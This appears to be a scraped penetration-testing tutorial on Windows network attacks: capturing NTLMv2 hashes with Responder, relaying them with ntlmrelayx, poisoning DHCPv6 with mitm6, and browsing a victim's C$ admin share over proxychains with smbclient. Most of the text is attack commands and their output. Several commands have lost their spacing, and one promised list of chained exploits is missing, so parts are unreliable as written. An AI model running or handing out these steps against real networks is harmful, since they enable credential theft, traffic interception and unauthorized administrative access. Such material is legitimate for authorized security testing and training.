To capture NTLMv2 hashes, simply use Responder. Before running it, edit the Responder.conf:
[Responder Core]
; Servers to start
SQL = On
SMB = Off # Turn this off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off # Turn this off
HTTPS = On
DNS = On
LDAP = On
Then fire up Responder:
pythonResponder.py-I<interface>-r-d-w
Relaying hashes
Instead of cracking Responder hashes, we can relay it to our valid targets to gain code execution on it. For that purpose, you can use Responder's MultiRelay or Impacket's ntlmrelayx.
With ntlmrelayx, you can use and reuse sessions instead of executing a one-shot attack.
Since MS08-068, it is impossible to relay a hash back to the machine it comes from (reflective attack).
Abusing IPv6
Until now, we have abused LLMNR protocol to capture NTLMv2 hashes. It works great, but we can increase the effectiveness of hash relaying by abusing IPv6 protocol too.
The idea is to reply to DHCPv6 requests made by machines on the network to set the attacker IP as the default IPv6 DNS server in order to force victims to authenticate against our attacker machine because of the IPv6 priority over IPv4 in Windows.
To use mitm6:
sudomitm6-d<domain>
To minimize the impact on the network, the lease will expire within 5 minutes when mitm6 is stopped, which will remove the DNS server from the victims configuration.
What to do with sessions?
Many sessions will be established by chaining these exploits:
psexec or wmiexec do not work here (see references).
Using SMBClient
You can use SMBClient:
root@kalibeto:~#proxychainssmbclient//192.168.48.230/c$ -Uvulnerable/AdministratorProxyChains-3.1 (http://proxychains.sf.net)WARNING:The"syslog"optionisdeprecated|S-chain|-<>-192.168.48.1:1080-<><>-192.168.48.230:445-<><>-OKEnterVULNERABLE\Administrator's password:Try "help" to get a list of possible commands.smb: \> dir $Recycle.Bin DHS 0 Thu Dec 7 19:08:00 2017 Documents and Settings DHS 0 Tue Jul 14 01:08:10 2009 pagefile.sys AHS 1073741824 Thu May 3 16:32:43 2018 PerfLogs D 0 Mon Jul 13 23:20:08 2009 Program Files DR 0 Fri Dec 1 17:16:28 2017 Program Files (x86) DR 0 Fri Dec 1 17:03:57 2017 ProgramData DH 0 Tue Feb 27 15:02:13 2018 Recovery DHS 0 Wed Sep 30 18:00:31 2015 System Volume Information DHS 0 Wed Jun 6 12:24:46 2018 tmp D 0 Sun Mar 25 09:49:15 2018 Users DR 0 Thu Dec 7 19:07:54 2017 Windows D 0 Tue Feb 27 16:25:59 2018 5216767 blocks of size 4096. 609996 blocks availablesmb: \>
Many other protocols can be relayed: imap, ldap, mssql, etc (see references).